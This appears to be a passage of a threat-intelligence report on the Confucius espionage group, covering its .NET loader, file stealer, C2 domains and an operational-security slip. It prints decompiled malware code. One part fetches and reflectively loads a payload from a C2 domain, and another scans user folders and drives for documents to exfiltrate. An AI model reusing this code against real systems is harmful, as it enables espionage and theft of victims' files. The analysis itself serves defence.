Unraveling Confucius’ Espionage Campaigns

Final .NET Loader

The final .NET loader has similar operations to what we’ve witnessed in the previous loader binaries. Here’s a summary of the operations in this particular loader:

public void Nasuyd(){  WebClient webClient = new WebClient();  string uriString = "https://parinari.xyz/Rwlksdnasjd.txt";  try  {    string st = webClient.DownloadString(new Uri(uriString));    Type[] types = Assembly.Load(this.Houn(st)).GetTy 
pes();    for (int i = 0; i < types.Length; i++)    {      object arg = Activator.CreateInstance(types[i]);      if (Class1.<>o__1.<>p__0 == null)      {        Class1.<>o__1.<>p__0 = CallSite<Action<CallSite, object>>.Create(Microsoft.CSharp. 
RuntimeBinder.Binder.InvokeMem 
ber(CSharpBinder 
Flags.ResultDiscarded, "sdsdjkfhds", null, typeof(Class1), new CSharpArgumentInfo[]        {          CSharpArgumentInfo.Create(CShar 
pArgumentInfoFlags.None, null)        }));      }  ...} 

Snippet 4: Final .NET loader

Stealer

Continuing the analysis with the last invoked function, sdsdjkfhds, the metadata of the DLL (Rwlksdnasjd.txt) and several network calls inside the DLL further strengthen the fact that it is in fact an uploader. A snippet of the function is listed below:

public void sdsdjkfhds()
{
    string userName = Environment.UserName;
    List<string> pfhl = new List<string>();
    string pattern = "*";

    pfhl = this.Gpufh();

    string userPath = "C:\\Users\\" + userName;
    string tdn = Environment.MachineName + "__" + userName;

    this.CUD(tdn, 0);

    foreach (string text in Directory.GetDirectories("C:\\Users\\"))
    {
        if (text != "C:\\Users\\Default" || text != "C:\\Users\\Public")
        {
            this.GF(text + "\\Documents\\", pattern, "Documents", pfhl);
            this.GF(text + "\\Downloads\\", pattern, "Downloads", pfhl);
            this.GF(text + "\\Desktop\\", pattern, "Desktop", pfhl);
            this.GF(text + "\\Pictures\\", pattern, "Pictures", pfhl);
        }
    }

    DriveInfo[] drives = DriveInfo.GetDrives();
    char[] trimChars = new char[] { ':', '\\' };

    foreach (DriveInfo driveInfo in drives)
    {
        if (driveInfo.Name != "C:\\")
        {
            this.GF(driveInfo.Name, pattern, driveInfo.Name.TrimEnd(trimChars), pfhl);
        }
    }

    Environment.Exit(0);
}

Snippet 5: Stealer and Uploader

Capabilities of the Stealer are:

• Collect information of all local drives
• Download a file of MD5 hashes (specific for the Machine and Username of the compromised workstation) from the C2 server
• Find and ex-filtrate files with extensions TXT, PDF, PNG, JPG, ODS, DOC, XLS, XLM, ODP, ODT, RTF, PPT, PPTX, XLSX, XLSM, DOCX, JPEG
• Files are hashed (MD5) before being ex-filtrated and compared against the MD5 hash list previously acquired from the C2 server. Files which have already been ex-filtrated are not uploaded to the server again

private void GF(string path, string pattern, string ufn, List<string> pfhl)
{
    List<string> list = new List<string>();
    List<string> list2 = new List<string>();
    List<string> list3 = new List<string>();
    List<string> list4 = new List<string>();

    try
    {
        list.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly));

        foreach (string text in list)
        {
            string a = Path.GetExtension(text).TrimStart('.');

            if (a == "txt" || a == "TXT" ||
                a == "pdf" || a == "PDF" ||
                a == "png" || a == "PNG" ||
                a == "jpg" || a == "JPG" ||
                a == "doc" || a == "DOC" ||
                a == "xls" || a == "XLS" ||
                a == "xlm" || a == "XLM" ||
                a == "odp" || a == "ODP" ||
                a == "ods" || a == "ODS" ||
                a == "odt" || a == "ODT" ||
                a == "rtf" || a == "RTF" ||
                a == "ppt" || a == "PPT" ||
                a == "xlsx" || a == "XLSX" ||
                a == "xlsm" || a == "XLSM" ||
                a == "docx" || a == "DOCX" ||
                a == "pptx" || a == "PPTX" ||
                a == "jpeg" || a == "JPEG")
            {
                list2.Add(text);
            }
        }

        foreach (string text3 in list2)
        {
            if (!string.IsNullOrEmpty(text3))
            {
                string item;
                using (MD5 md = MD5.Create())
                {
                    using (FileStream fileStream = File.OpenRead(text3))
                    {
                        item = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "");
                    }
                }

                if (!pfhl.Contains(item))
                {
                    list3.Add(text3);
                    list4.Add(item);
                }
            }
        }
    }
    catch (Exception ex)
    {
        // Optional: handle or log exception
        Console.WriteLine($"Error in GF method: {ex.Message}");
    }

    if (list3.Count != 0)
    {
        this.CUD(ufn, 1);
        // ... your additional logic here
    }
}

Snippet 6: Capabilities of the Stealer

Although the payload acquisition domain does encrypt its communication with the compromised host (via HTTPS), the exfiltration domain, thakithaiya.xyz uses the plain-text HTTP protocol to send/receive data from the C2 server. Similar to the earlier campaigns carried out by Confucius, the web pages are written in PHP (with random URIs and parameter names to collect usernames/machine name). Since the task is scheduled for a five minute run, the uploader runs the same routine over and over, collecting files and folders from the system, until terminated.

Indicators of Compromise

Following Indicators of Compromise were discovered during the course of our intrusion analysis:

Operational Security Failure

While performing reconnaissance against the infrastructure of Confucius, we found a deviation from their normal pattern of operations. Confucius highly utilizes C2 domains bought from the registrar, GoDaddy, using different US-based addresses to do so. However, the primary C2 domain in the recent campaign, inshaaldom.xyz, and the C2 domain used in the campaign in August 2021, parinari.xyz, were both registered from Chandigarh, India. We consider this to be an operational mistake from the operators behind Confucius revealing their origin.

Outlook

The selection of techniques by Confucius are not very sophisticated at the moment along with some operational security failures however; analysis of the campaign highlighted the creativity of its operators and their potential to increase sophistication in the future.

Previous campaigns by Confucius utilized techniques like Template Injection in spear-phishing documents; However, the current campaign makes use of macros and an embedded PE in the comments of a picture inside the document. These minor changes in techniques suggest the group is actively looking to switch their tradecraft to avoid detections based on named rulesets.